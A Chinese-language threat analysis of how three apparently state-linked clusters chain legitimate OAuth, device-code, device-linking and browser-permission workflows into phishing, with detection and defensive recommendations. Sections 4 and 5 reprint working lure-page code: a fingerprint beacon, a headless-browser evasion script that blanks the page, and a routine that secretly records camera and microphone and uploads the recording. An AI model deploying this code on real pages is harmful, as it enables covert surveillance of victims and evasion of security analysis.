摘要

報告從濫用 Authentication Workflow 的技術角度,分析三個疑似與國家相關的 Threat cluster。核心發現是,這些攻擊活動並不依賴單一的 Credential-harvesting page,而是將合法的 app-password、OAuth、device-code、device-linking、cloud-project 與 browser-media 功能組合成具適應性的入侵鏈。主要文章說明,這種組合讓偵測重點從「登入頁面是不是假的?」轉變為「哪些合法的 authorization、device 與 browser capabilities 正被編排、由誰編排,以及在 Authentication 後要執行什麼動作?」 [1]

別再只看登入日誌了!你的 Identity Provider 正被當作跳板,Auth Workflow 濫用偵測指南! | 資訊安全新聞

1. 範圍與研究問題

研究問題是:觀察到的 Threat cluster 如何將受信任的 Authentication 功能轉換為可控制的 Access path,以及哪些 telemetry 可以區分合法使用與惡意編排?分析範圍限於主要文章中的觀察結果及其公開的程式碼。僅使用簡短的標準比較來定義正常的 device authorization model。 [2]

在這些案例中,最初的誘餌具有高度社交針對性,而技術目標則一致:讓使用者完成真實或看似真實的 authorization transaction,使其產生的 secret、Token、linked device 或 browser permission 能被操作者再次使用。這與傳統的 password clone 有實質差異,因為使用者看到的可能是真正的 provider login、真正的 QR/linking code,或確實運作的 browser prompt。

2. 可組合的 Authentication Attack Surface

UNC6293 展示了從 app-password collection 移轉至 OAuth verification-code collection。UNC7005 則進一步擴大 Attack Surface,加入 Microsoft device-code phishing、WhatsApp device linking、OS-specific infostealer delivery、cloud OAuth 與 captive-portal redirection。UNC5976 使用假的 file-sharing front end、合法的 OAuth login,以及在 redirection 後取得 Token 的 cloud project。這些是不同的實作方式,但共享相同的設計模式:誘餌控制使用者的操作流程,而 identity provider 則執行看似有效的 security transaction。 [1]

觀察到的 Workflow 組合與防禦重點
Workflow component 操作者目標 高價值防禦訊號
App password 取得可重複使用的 Credential,避開正常的第二因素互動。 非預期的建立、命名或後續使用 legacy app passwords。
OAuth redirect 誘導使用者進行真正的 login,並在 redirect 後取得 Token 或 authorization result。 異常的 consent、redirect、project、scope 或 login 後目的地。
Device code 或 QR link 將受害者的 account 綁定至由操作者控制的 client 或 device。 新的 linked device、異常 client、code mismatch 或遠端 approval 環境。
Browser capability 收集 system fingerprints、Credential、cookies、audio 或 video。 非預期的 camera/microphone grants、recording APIs、beacon paths 與 browser-data access。

這張表顯示出一種 control-plane model。單獨依靠 identity logs 並不足夠,因為成功事件可能在 cryptographic 上完全有效。Correlation 必須將 identity-provider events 與 web telemetry、device inventory、browser permission changes、cloud-project metadata 以及 linked-device state 串接起來。

3. Device Authorization:合法 Protocol 與遠端 Phishing 風險

RFC 8628 定義了供輸入能力有限或沒有適用 browser 的 client 使用的 device authorization。Client 會取得 device code、user code 與 verification URI;使用者在第二台 device 上核准 request;Client 持續 Polling,直到收到 access Token。 [2] 這種分離方式雖然提升了使用便利性,也產生遠端 Phishing 條件:操作者可以啟動 client-side transaction,並誘導目標核准該 transaction。主要文章中的 Microsoft 與 WhatsApp 案例利用的正是這種語意上的落差,而非 cryptographic break。

sequenceDiagram participant V as Victim browser participant L as Lure site participant I as Legitimate identity provider participant C as Operator cloud/C2 V->>L: Open event, call, or file-sharing lure L->>L: Fingerprint and select workflow L->>I: Start real OAuth/device/link request I-->>V: Display legitimate login, code, or QR V->>I: Authenticate and approve/link I-->>L: Redirect or confirm authorization L->>C: Submit token, session, recording, or follow-on data C-->>V: Continue phishing or impersonation

這個 sequence 將關鍵邊界分離出來:identity provider 可以驗證使用者,但不一定會驗證啟動 transaction 的 client 之意圖、所有權或可信度。因此 RFC 8628 建議告知使用者,他們正在授權一台 device,並確認該 device 在自己手上。 [2] 在實際運作中,防禦者應將遠端 approval、code presentation 與 linked-device changes 視為 security events,而不是一般的 sign-ins。

4. 程式碼分析:Target Selection 與 Analysis Evasion

主要文章公開了兩個 scripts,顯示誘餌頁面是主動的 decision engine,而非靜態表單。第一個 script 會在使用者進入 authorization step 前收集精簡的環境 profile。

  1. (function(){
  2. var fp = {
  3. tid: "3311a310cd4f40d4",
  4. sw: screen.width,
  5. sh: screen.height,
  6. tz: Intl.DateTimeFormat().resolvedOptions().timeZone,
  7. lang: navigator.language,
  8. plat: navigator.platform,
  9. cores: navigator.hardwareConcurrency || null,
  10. mem: navigator.deviceMemory || null,
  11. touch: navigator.maxTouchPoints || 0,
  12. };
  13. fetch('/fingerprint', {
  14. method: 'POST',
  15. headers: {'Content-Type': 'application/json'},
  16. body: JSON.stringify(fp),
  17. keepalive: true,
  18. }).catch(function(){});
  19. })();
公開 Fingerprint script 的逐行解讀
Code element 技術解讀
screen.width screen.height 建立顯示幾何特徵,可用來區分一般使用者與 automated scanning environments。
timeZone language platform 建立粗略的 location、locale 與 operating-platform consistency check,而不要求 Credential。
hardwareConcurrency deviceMemory maxTouchPoints 加入硬體與互動訊號,可用於決定 Session 優先級或拒絕 Session。
fetch('/fingerprint') 非同步傳送 profile; keepalive 增加 beacon 在頁面轉換後仍能送出的機率。

第二個 script 更直接地進行 Evasion。它會測試 navigator.webdriver 、缺少的 languages、Chrome runtime object,以及 notification-permission behavior。如果某個 heuristic 被觸發,它會清除 document 並停止載入。這會破壞分析人員的觀察面,同時讓同一個誘餌對一般 browser 維持正常運作。因此,有效的偵測策略應記錄早期 script execution 與 fingerprint endpoint,而不只是最後的 OAuth request。

  1. (function(){
  2. var h = false;
  3. try {
  4. // webdriver flag — set by ChromeDriver, Puppeteer, Selenium
  5. if (navigator.webdriver) h = true;
  6. // Headless Chrome has no plugins at all
  7. // Headless Chrome / PhantomJS often have no languages
  8. if (!h && (!navigator.languages || navigator.languages.length === 0)) h = true;
  9. // Chrome-specific runtime object absent in headless older builds
  10. if (!h && typeof window.chrome === 'undefined' &&
  11. /chrome/i.test(navigator.userAgent)) h = true;
  12. // Permission query behaves differently in headless
  13. if (!h && navigator.permissions) {
  14. navigator.permissions.query({name:'notifications'}).then(function(r){
  15. if (r.state === 'denied' && Notification.permission === 'default') {
  16. document.documentElement.innerHTML = '';
  17. window.stop();
  18. }
  19. }).catch(function(){});
  20. }
  21. } catch(e) { h = true; }
  22. if (h) { document.documentElement.innerHTML = ''; window.stop(); }
  23. })();

對於分析環境,這個 script 表示單一 browser fingerprint 並不可靠。資料收集應比較多個受控的 render profiles,並在 DOM 消失時仍保留 network metadata。對於正式環境防禦,相同的指標可以納入 risk score,但不應將任何單一指標視為獨立的判定依據,因為輔助工具與隱私設定也可能產生類似訊號。

5. Compromise 後的 Browser Media Capture

以 WhatsApp 為主題的流程說明了 account linking 為何只是中間目標。完成 linking 後,頁面會顯示假的 call,並要求 camera 與 microphone access。公開的程式碼使用 getUserMedia 取得 stream,在支援時選擇 WebM,每秒記錄一個 chunk,接著將 blob 上傳至與 Session 對應的 endpoint。

  1. function startMediaRecording() {
  2. if (!navigator.mediaDevices || !navigator.mediaDevices.getUserMedia) {
  3. return Promise.resolve();
  4. }
  5. return navigator.mediaDevices.getUserMedia({ video: true, audio: true })
  6. .then(function(stream) {
  7. mediaStream = stream;
  8. var selfVideo = document.getElementById('self-video');
  9. var selfView = document.getElementById('self-view');
  10. if (selfVideo && selfView) {
  11. selfVideo.srcObject = stream;
  12. selfView.style.display = '';
  13. }
  14. recordedChunks = [];
  15. var options = { mimeType: 'video/webm;codecs=vp8,opus' };
  16. if (!MediaRecorder.isTypeSupported(options.mimeType)) {
  17. options = { mimeType: 'video/webm' };
  18. if (!MediaRecorder.isTypeSupported(options.mimeType)) {
  19. options = {};
  20. }
  21. }
  22. mediaRecorder = new MediaRecorder(stream, options);
  23. mediaRecorder.ondataavailable = function(e) {
  24. if (e.data && e.data.size > 0) recordedChunks.push(e.data);
  25. };
  26. mediaRecorder.start(1000);
  27. })
  28. .catch(function() {});
  29. }
  30. function uploadRecording() {
  31. if (mediaStream) {
  32. mediaStream.getTracks().forEach(function(t) { t.stop(); });
  33. mediaStream = null;
  34. }
  35. if (!recordedChunks.length) return;
  36. var blob = new Blob(recordedChunks, { type: recordedChunks[0].type || 'video/webm' });
  37. recordedChunks = [];
  38. var formData = new FormData();
  39. formData.append('recording', blob, 'recording_' + sessionId + '.webm');
  40. fetch('/api/code/' + sessionId + '/recording', { method: 'POST', body: formData })
  41. .then(function(r) { if (!r.ok) throw new Error('Upload failed'); })
  42. .catch(function() {
  43. return fetch('/api/code/' + sessionId + '/recording', { method: 'POST', body: formData });
  44. })
  45. .then(function(r) { if (r && !r.ok) throw new Error('Upload failed'); })
  46. .catch(function() {});
  47. }

這段程式碼建立出具有辨識性的 telemetry chain:permission prompt、media stream、 MediaRecorder 、multipart upload,以及包含唯一 Session identifier 的 path。因此,Endpoint monitoring 應將 browser permission events 與短生命週期的 lure domains 及異常 upload routes 進行 correlation。靜默的 error handlers 也顯示出一種操作偏好:從受害者角度來看採取 failing closed 的方式;upload failure 不會產生任何可見的 diagnostic,因此不容易提醒使用者。

6. 防禦架構與影響

有效的防禦應圍繞 Workflow 建立分層機制,而不是以 URL reputation 為核心。首先,停用或嚴格控管 legacy app passwords,並針對其建立或使用發出警示。其次,在可行的情況下要求 phishing-resistant authentication,同時獨立監控 OAuth consent、redirect destinations、sensitive scopes、testing-mode projects 與 Token use。Google 文件指出,在 verification 前要求 sensitive 或 restricted scopes 時,可能會出現 unverified-app warnings,但 warning 是 control signal,不能取代使用者與管理員的驗證。 [3]

第三,將 device linking 視為具權限的 account change。強制 registration locks 與 two-factor authentication,稽核個人與企業帳號的 linked devices,並透過獨立的 channel 驗證 safety codes。第四,在 browser 與 Endpoint security controls 中針對可疑的 getUserMedia MediaRecorder 、fingerprint beacons 與 browser-data extraction 建立監控。最後,保留跨層級的證據:lure URL、DNS 與 IP history、OAuth client/project identity、device state、browser permission event,以及 Authentication 後的 network path,應以同一個 investigation identifier 串接。

結論

主要文章最重要的技術教訓是,合法的 Authentication 不等於合法的 authorization intent。這些攻擊活動透過串接 identity、browser、messaging 與 cloud layers 中有效的 primitives 而成功。因此,偵測與遏制應建立完整的 transaction graph,驗證 device possession 與 client context,並將 login 後的行為視為 Authentication security 的一部分。